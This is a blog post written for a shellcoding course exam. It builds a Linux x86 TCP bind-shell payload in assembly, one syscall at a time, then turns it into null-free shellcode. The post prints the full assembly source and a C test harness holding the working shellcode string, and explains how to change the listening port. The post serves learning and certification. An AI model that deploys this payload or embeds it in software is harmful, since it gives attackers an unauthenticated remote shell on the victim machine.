This post is the first of 7 exam assignments of the Pentester Academy's x86 Assembly Language and Shellcoding on Linux course. Success in these 7 assignments results in the Pentester Academy's SLAE32 certification.
http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
SLAE - 901
Assignment #1: Bind Shell TCP Shellcode
The first assignment is to create a Linux shellcode which:
- binds to a port via TCP
- executes a shell on an incoming connection
- is easily configurable (in regards to the port)
This assignment has three tasks:
Task 1 - Create and test a bind shell script in Assembly
Task 2 - Create and test a bind script shellcode exploit based upon the Assembly script
Task 3 - Show how to modify the port in the shellcode
Task 1 - Create and test a bind shell script in Assembly
Creating the Assembly script
I consulted various Python and C scripts and determined that my script would do the following:
1. Create a socket (via socket syscall)
2. Bind it to an address/port (via socket syscall)
3. Listen for incoming connections (via socket syscall)
4. Accept a new connection (via socket syscall)
5. Redirect standard input (stdin), standard output (stdout), and standard error
(stderr) (via dup2 syscall)
6. Execute a shell (via execve syscall)
1. Create a socket (via socket syscall)
The first sub-task was to create a socket using the socket system call.
Here is the system syntax that I modeled:
int socketcall(int call, unsigned long args)
Here is the syntax for the args:
socket(int domain, int type, int protocol)
Here is a breakdown of the call variables and values, as well as what registers I wanted the values to be in when I invoked and executed the socket system call (int 0x80):
variable
|
hex
|
decimal
|
meaning
|
ending register before int 0x80
|
int socketcall
|
0x66
|
102
|
socketcall
|
eax
|
int call (sys_socket)
|
0x1
|
1
|
sys_socket
|
ebx
|
unsigned long args
|
0x2
0x1
0x0 (or 6)
|
2
1
6
|
domain - AF_INET;
type - SOCK-STREAM;
protocol - TCP
|
ecx
(the three values are previously pushed on the stack in reverse order, then the memloc of the esp (which points to top of the stack) is moved to ecx
|
Here is how I coded this sub-task:
2. Bind it to an address/port (via socket syscall)
The second sub-task was to bind the socket to an address/port using the socket system call.
Here is the system syntax that I modeled:
int socketcall(int call, unsigned long args)
Here is the syntax for the args:
bind(int sockfd,const struct sockaddr addr, socklen_t addrlen)
Here is a breakdown of the call variables and values, as well as what registers I wanted the values to be in before I invoked and executed the bind system call (int 0x80):
variable
|
hex
|
decimal
|
meaning
|
ending register before int 0x80
|
int socketcall
|
0x66
|
102
|
socketcall
|
eax
|
int call (bind)
|
0x2
|
2
|
sys_bind
|
ebx
|
unsigned long args
sockfd
sockaddr
sin_family
sin_port
sin_addr
addrlen
|
0x7
0x2
0x3905 (little endian);
0x0
0x10
|
7
2
1337
0
16
|
sockfd
AF-INET
1337
INADDR_ANY
(ip4 address length)
|
edi (copy from eax at the beginning of section;
ecx
(the four values will be previously pushed on the stack in reverse order, then the memloc of the esp (which points to top of the stack) is moved to ecx
|
Here is how I coded this sub-task:
3. Listen for incoming connection (via socket syscall)
The third sub-task was to listen for an incoming connection using the socket system call.
Here is the system syntax that I modeled:
int socketcall(int call, unsigned long *args);
Here is the syntax for the args:
int listen(int sockfd, int backlog);
Here is a breakdown of the call variables and values, as well as what registers I wanted the values to be in before I invoked and executed the listen system call (int 0x80)
variable
|
hex
|
decimal
|
meaning
|
ending register before int 0x80
|
int socketcall
|
0x66
|
102
|
socketcall
|
eax
|
int call (listen)
|
0x4
|
4
|
sys_listen
|
ebx
|
unsigned long args
sockfd
backlog
|
0x7
0x0
|
7
0
|
sockfd
none needed
|
ecx
(the two values will be pushed on the stack in reverse order, then the memloc of the esp (which points to top of the stack) is moved to ecx
|
Here is how I coded this sub-task:
The fourth sub-task was to accept a new connection using the socket system call.
Here is the system syntax that I modeled:
int socketcall(int call, unsigned long *args);
Here is the syntax for the args:
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen)
Here is a breakdown of the call variables and values, as well as what registers I want the values to be in before I invoke and execute the accept system call (int 0x80)
variable
|
hex
|
decimal
|
meaning
|
ending register before int 0x80
|
int socketcall
|
0x66
|
102
|
socketcall
|
eax
|
int call (accept)
|
0x5
|
5
|
sys_accept
|
ebx
|
unsigned long args
sockfd
addr
addrlen
|
0x7
0x0
0x0
|
7
0
0
|
sockfd
no ip for bind
no length
|
ecx
(pushed on to stack from the edi);
(pushed on to stack from the esi);
(pushed on to stack from the esi);
(the three values are pushed on the stack in reverse order, then the memloc of the esp (which points to top of the stack) is moved to ecx
|
Here is how I coded this sub-task:
5. Redirect standard input (stdin), standard output (stdout), and standard error (stderr) (via dup2 syscall)
The fifth subtask was to redirect the stdin, stdout, and stderr using the dup2 system call.
Here is the system syntax that I modeled:
int dup2(int oldfc, int newfd)
Here is a breakdown of the call variables and values, as well as what registers I wanted the values to be in before I invoked and executed the accept system call (int 0x80)
variable
|
hex
|
decimal
|
meaning
|
ending register before int 0x80
|
int dup2
|
0x3f
|
63
|
dup2
|
eax
|
int oldfc
|
0x7
|
7
|
return from previous socketcall
|
ebx
|
int newfd
|
0x0
0x1
0x2
|
0
1
2
|
stdin
stdout
stderr
|
ecx (via loop)
will start as 2 and execute call, then
decrement to 1 and execute, decrement
to 0 and execute
|
Here is how I coded this sub-task:
6. Execute a shell (via execve syscall)
The sixth sub-task was to execute a shell via the execve system call.
Here is the system syntax I modeled:
int execve (const char *filename, char *const argv, char *const envp)
Here is a breakdown of the call variables and values, as well as what registers I wanted the values to be in before I invoked and executed the execve system call (int 0x80)
variable
|
hex
|
decimal
|
meaning
|
ending register before int 0x80
|
int execve
|
0x0b
|
11
|
execve syscall
|
eax
|
filename
|
0x68732f2f
0x6e69622f
|
(ascii)
hs//
nib/
|
/bin/sh
|
ebx
|
argv
|
0x0
|
0
|
null
|
ecx
|
envp
|
0x0
|
0
|
null
|
edx
|
Here is how I coded this sub-task:
Here is a link to the entire Assembly script: https://github.com/clubjk/scripts/blob/master/task1f.nasm
Testing the Assembly script
I compiled the Assembly script (.nasm) as follows:
Then I tested the binary...
And it worked. Yay.
I checked it for "00"s (null bytes are fine for binaries, but fatal for my subsequent shellcode...)
Uh-oh...
Aaaand, I have some "00"'s in my object dump.
Rookie mistake. I went back into my Assembly script and made the following changes:
Also, on memloc 804808a I pushed the esi (which was 0x0) instead of an immediate value of 0x0).
After correcting my Assembly script I got a shellcode-worthy object dump (free of null bytes):
I recompiled the Assembly script, tested it and it worked.
Task 2 - Create and test a bind script shellcode exploit based upon the Assembly script
This task was to create a shellcode exploit based upon the successful and shellcode-ready Assembly script.
I extracted the shellcode from the Assembly script with a line command I found at
This command greps/cuts/pastes/sed's the objdump command and outputs just the shellcode that can be copied and pasted.
I copied the shellcode output and pasted it into a standard C-based shellcode script.
I compiled the shellcode.c script with the following command:
Then, I tested it by running the resulting binary (shellcode)
It worked. Yay.
Task 3 - Show how to modify the port in the shellcode
Below is the shellcode.c script:
The highlighted portion of the shellcode is the port number.
(1337 is 395 in hex and \x05\x39 in little endian)
To make this script work on, say, port 4444:
(4444 is 115c in hex and \x5c\x11 in little endian)
I replaced "\05\x39\" with "\x5c\x11" in the shellcode2.c.
After compiling the shellcode2.c, I executed it.
It worked. Yay.
Summary:
I created a bind port exploit in Assembly. I checked it for null-bytes, corrected it, and retested it. Next, I used objdump to extract the shellcode from the exploit. I copied and pasted the shellcode string into a skeleton shellcode.c, compiled it, and successfully tested it. Then I identified how to modify the port number if needed.
File Section:
Here is the entire Assembly script:
Note: Also can be found at https://github.com/clubjk/scripts/blob/master/task1f.nasm#L1; bind shell
; Author: clubjk global _start section .text _start: ;Create a socket with sys_socket xor eax, eax ;zeroize the eax xor ebx, ebx ;zeroize the ebx mov al, 0x66 ;put socketcall syscall value in eax; 102 in decimal mov bl, 0x1 ;put sys_socket syscall value in ebx; 1 in decimal xor esi, esi ;zeroize the esi, it will be convenient when we need a 0x0 value push esi ;put 0x00000000 in stack, using esi since it is currently zeroized push ebx ;put 0x00000001 in stack, using ebx since we set it to 0x1 push 0x2 ;put 0x00000002 in stack, using immediate value of 0x2 mov ecx, esp ;pass memory location of esp (start of the stack) to ecx int 0x80 ;calling socket system call (102) with sockcall args ;Bind socket to an address/port via sys_bind mov edi, eax ;put the return value from previous syscall (sockfd) in esi for use xor eax, eax ;zeroize the eax xor ebx, ebx ;zeroize the ebx xor ecx, ecx ;zeroize the ecx mov al, 0x66 ;put socketcall syscall value in eax; 102 in decimal mov bl, 0x2 ;put sys_bind syscall value in ebx, 2 in decimal push esi ;push 0x0 on the stack push word 0x3905 ;port 1337 in hex (0x395), then put in little endian 0x3905 push word bx ;push 0x2 on the stack mov ecx, esp ;move the memory location of the start of stack (esp) to ecx push 0x10 ;push the addrlen=16 on the stack push ecx ;push struct sockaddr pointer on the stack push edi ;push the sockfd (7) on the stack mov ecx, esp ;move the memory location of the start of stack (esp) to ecx int 0x80 ;calling socket system call (102) with bind args ;Set up listen system call via sys_listen xor ebx, ebx ;zeroize the ebx mov al, 0x66 ;put socketcall syscall value in eax; 102 in decimal mov bl, 0x4 ;put listen function call (4) in ebx push esi ;push backlog (0) on stack push edi ;push sockfd (7) on stack mov ecx, esp ;move the memory location of the start of stack (esp) to ecx int 0x80 ;calling socket system call (102) with listen args ;Accept a new connection with sys_accept mov al, 0x66 ;put socketcall syscall value in eax; 102 in decimal inc ebx ;increment ebx from 4 to 5 (accept function call number) push esi ;push addrlen (0) to stack push esi ;push addr (0) to stack push edi ;push sockfd (7) to stack mov ecx, esp ;move the memory location of the start of stack (esp) to ecx int 0x80 ;invokes socket sys call with accept args ;Redirect standard input (stdin), (stdout), (stderr) (via dup2 syscall) xor ecx, ecx ;zeroize the ecx mov cl, 0x2 ;start the counter at 2 (stderr) xchg ebx, eax ;save the clientfd in ebx loop: mov al, 0x3f ;moves the functional call number for dup2 (63) to eax int 0x80 ;system call for dup2 dec ecx ;decreases ecx by one jns loop ;loop will run until counter is -1 (0xffffffff w SF flag set) int 0x80 ;invokes the dup2 system call ;Execute a shell (via execve syscall) xor eax, eax ;zeroize the eax push eax ;push 0x0 on the stack push 0x68732f2f ;push "hs//" on the stack push 0x6e69622f ;push "nib/" on the stack mov ebx, esp ;move the memory location of the start of stack (esp) to ebx push eax ;push 0x0 on the stack mov edx, esp ;move the memory location of the start of stack (esp) to edx push ebx ;push ebx on the stack mov ecx, esp ;move the memory location of the start of stack (esp) to ecx mov al, 0xb ;move the execve functional call number (11) to eax int 0x80 ;invokes the execve system call
Here is the shellcode.c:
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"\x31\xc0\x31\xdb\xb0\x66\xb3\x01\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x31\xc0\x31\xdb\x31\xc9\xb0\x66\xb3\x02\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x31\xdb\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x31\xc9\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
No comments:
Post a Comment